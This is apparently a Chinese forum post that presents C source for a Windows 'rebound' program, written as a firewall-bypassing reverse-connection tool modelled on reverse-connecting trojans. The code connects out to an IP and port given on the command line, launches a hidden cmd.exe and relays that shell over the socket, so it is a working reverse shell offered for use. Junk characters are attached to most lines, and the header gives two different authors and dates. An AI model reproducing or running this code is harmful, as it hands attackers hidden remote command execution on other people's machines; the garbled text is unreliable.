这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t@+e#3P!
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/* ============================== CO@ kLI
Rebound port in Windows NT #(a ;w
By wind,2006/7 @ <4 U &
===============================*/ l>BM}hS
#include OS>%pgv
#include #hu`X6s"
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#pragma comment(lib,"wsock32.lib") yOXEP
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void OutputShell(); ma QxU(
SOCKET sClient; j':<7n/A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Pd
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void main(int argc,char **argv) 0lOan
{ |m*l/@1
WSADATA stWsaData; Kg /,
int nRet; _ogN
SOCKADDR_IN stSaiClient,stSaiServer; gOE?
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if(argc != 3) E6T=lwOZ
{ E0!0 uSg&
printf("Useage:\n\rRebound DestIP DestPort\n"); V}Q`dEk2r
return; k{|>!(Ax
} h:FN&E c}
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WSAStartup(MAKEWORD(2,2),&stWsaData); B7[#z{8'#
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LUpkO
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stSaiClient.sin_family = AF_INET; ={6vShG)m
stSaiClient.sin_port = htons(0); .+u r+"i
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2'Kh>c2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X_rv}
{ eE\T,u5:
printf("Bind Socket Failed!\n"); g@?R"
return; ]S@DVXH
} t)O]0)
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stSaiServer.sin_family = AF_INET; 3{ea~G)[9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y$|KY/)H)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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}y(cv}8Y
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c0X1})q$
{ c2s73iz
printf("Connect Error!"); o(D_ /]'8
return; 20Jlf?
} L$, Kdpj
OutputShell(); ICG:4n(,
} W~l.feW$i
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void OutputShell() m>!o
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{ :r:x|[3.
char szBuff[1024]; .~^A!t
SECURITY_ATTRIBUTES stSecurityAttributes; lD#
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OSVERSIONINFO stOsversionInfo; tm_\(
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ir|L@Jj,
STARTUPINFO stStartupInfo; 4Y
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char *szShell; {8%KO1xB
PROCESS_INFORMATION stProcessInformation; !SLfAFcS
unsigned long lBytesRead; oIE3`\xS
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =dWqB&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ChNT;G<6$
stSecurityAttributes.lpSecurityDescriptor = 0; \,!Qo*vj
stSecurityAttributes.bInheritHandle = TRUE; IRv/[|"L
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {9Q**U`w
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); - xyY6bxL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Udjn.D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jG#e%`'
stStartupInfo.wShowWindow = SW_HIDE; gS|6,A9
stStartupInfo.hStdInput = hReadPipe; /}eb1o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %hz5)
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GetVersionEx(&stOsversionInfo); Q5 o0!w
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switch(stOsversionInfo.dwPlatformId) #nj;F'O](
{ mMCd
case 1: ScT{Tb]9bt
szShell = "command.com"; PHH,vO[eO
break; N6*FlG-
default: 5+(Cp3
szShell = "cmd.exe"; oGt2n:
break; 25W #mh,'
} 2';{o=TXV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7WNUHLEt
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send(sClient,szMsg,77,0); @v\8+0
while(1) LMp^]*)t
{ $B]_^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); = ^%*: iT
if(lBytesRead) ? a/\5`gnN
{ [BEQ ~A_I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q1rD>n&d
send(sClient,szBuff,lBytesRead,0); eK\i={va
} uj)fah?Wg
else idjk uB(6
{ +7y#c20
lBytesRead=recv(sClient,szBuff,1024,0); &IG*;$c!
if(lBytesRead<=0) break; ,OMdLXr
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,"?8
} ]KUeSg|
} 2LCOB&-Ww
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#mkq}
return; h5v=h>c
}